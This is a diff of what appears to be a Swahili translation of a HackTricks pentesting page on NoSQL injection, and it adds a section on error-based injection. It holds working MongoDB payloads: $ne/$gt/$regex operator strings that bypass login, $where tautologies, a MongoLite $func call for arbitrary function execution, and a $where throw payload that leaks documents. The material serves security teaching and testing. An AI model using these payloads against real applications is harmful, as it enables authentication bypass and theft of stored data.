Translated ['src/pentesting-web/nosql-injection.md'] to sw

src/pentesting-web/nosql-injection.md

@@ -6,7 +6,7 @@
 
 Katika PHP unaweza kutuma Array ukibadilisha parameter iliyotumwa kutoka _parameter=foo_ hadi _parameter\[arrName]=foo._
 
-Mifumo ya unyakuzi inategemea kuongeza **Operator**:
+Mifumo ya uhalifu inategemea kuongeza **Operator**:
 ```bash
 username[$ne]=1$password[$ne]=1 #<Not Equals>
 username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
@@ -17,7 +17,7 @@ username[$ne]=admin&pass[$gt]=s #<Greater Than>
 username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
 { $where: "this.credits == this.debits" }#<IF>, can be used to execute code
 ```
-### Mipango ya msingi ya uthibitishaji
+### Mipango ya kuzunguka uthibitisho wa msingi
 
 **Kutumia si sawa ($ne) au kubwa ($gt)**
 ```bash
@@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true
 ```javascript
 query = { $where: `this.username == '${username}'` }
 ```
-Mshambuliaji anaweza kutumia hili kwa kuingiza nyuzi kama `admin' || 'a'=='a`, na kufanya uchunguzi urudishe hati zote kwa kutimiza sharti kwa tautology (`'a'=='a'`). Hii ni sawa na mashambulizi ya SQL injection ambapo ingizo kama `' or 1=1-- -` hutumiwa kubadilisha maswali ya SQL. Katika MongoDB, sindano zinazofanana zinaweza kufanywa kwa kutumia ingizo kama `' || 1==1//`, `' || 1==1%00`, au `admin' || 'a'=='a`.
+Mshambuliaji anaweza kutumia hili kwa kuingiza nyuzi kama `admin' || 'a'=='a`, na kufanya uchunguzi urudishe hati zote kwa kutimiza hali hiyo kwa tautology (`'a'=='a'`). Hii ni sawa na mashambulizi ya SQL injection ambapo ingizo kama `' or 1=1-- -` linatumika kubadilisha maswali ya SQL. Katika MongoDB, sindano kama hizo zinaweza kufanywa kwa kutumia ingizo kama `' || 1==1//`, `' || 1==1%00`, au `admin' || 'a'=='a`.
 ```
 Normal sql: ' or 1=1-- -
 Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a
@@ -78,7 +78,7 @@ in JSON
 ```
 ### PHP Arbitrary Function Execution
 
-Kwa kutumia opereta **$func** wa maktaba ya [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (iliyotumika kwa chaguo-msingi) inaweza kuwa inawezekana kutekeleza kazi yoyote kama ilivyo katika [ripoti hii](https://swarm.ptsecurity.com/rce-cockpit-cms/).
+Kwa kutumia opereta **$func** ya maktaba ya [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) (iliyotumika kama chaguo-msingi) inaweza kuwa inawezekana kutekeleza kazi yoyote kama ilivyo katika [ripoti hii](https://swarm.ptsecurity.com/rce-cockpit-cms/).
 ```python
 "user":{"$func": "var_dump"}
 ```
@@ -88,7 +88,7 @@ Kwa kutumia opereta **$func** wa maktaba ya [MongoLite](https://github.com/agent
 
 Inawezekana kutumia [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) kupata taarifa kutoka kwa mkusanyiko tofauti. Katika mfano ufuatao, tunasoma kutoka kwa **mkusanyiko tofauti** unaoitwa **`users`** na kupata **matokeo ya kila ingizo** lenye nenosiri linalolingana na wildcard.
 
-**KUMBUKA:** `$lookup` na kazi nyingine za kuunganisha zinapatikana tu ikiwa kazi ya `aggregate()` ilitumika kufanya utafutaji badala ya kazi za kawaida zaidi za `find()` au `findOne()`.
+**KUMBUKA:** `$lookup` na kazi nyingine za kujumlisha zinapatikana tu ikiwa kazi ya `aggregate()` ilitumika kufanya utafutaji badala ya kazi za kawaida za `find()` au `findOne()`.
 ```json
 [
 {
@@ -108,6 +108,12 @@ Inawezekana kutumia [**$lookup**](https://www.mongodb.com/docs/manual/reference/
 }
 ]
 ```
+### Error-Based Injection
+
+Injiza `throw new Error(JSON.stringify(this))` katika kipengele cha `$where` ili kutoa hati kamili kupitia makosa ya JavaScript ya upande wa seva (inahitaji programu kutoa makosa ya database). Mfano:
+```json
+{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
+```
 ## MongoDB Payloads
 
 Orodha [kutoka hapa](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
@@ -229,5 +235,6 @@ get_password(u)
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
 - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
 - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
+- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
 
 {{#include ../banners/hacktricks-training.md}}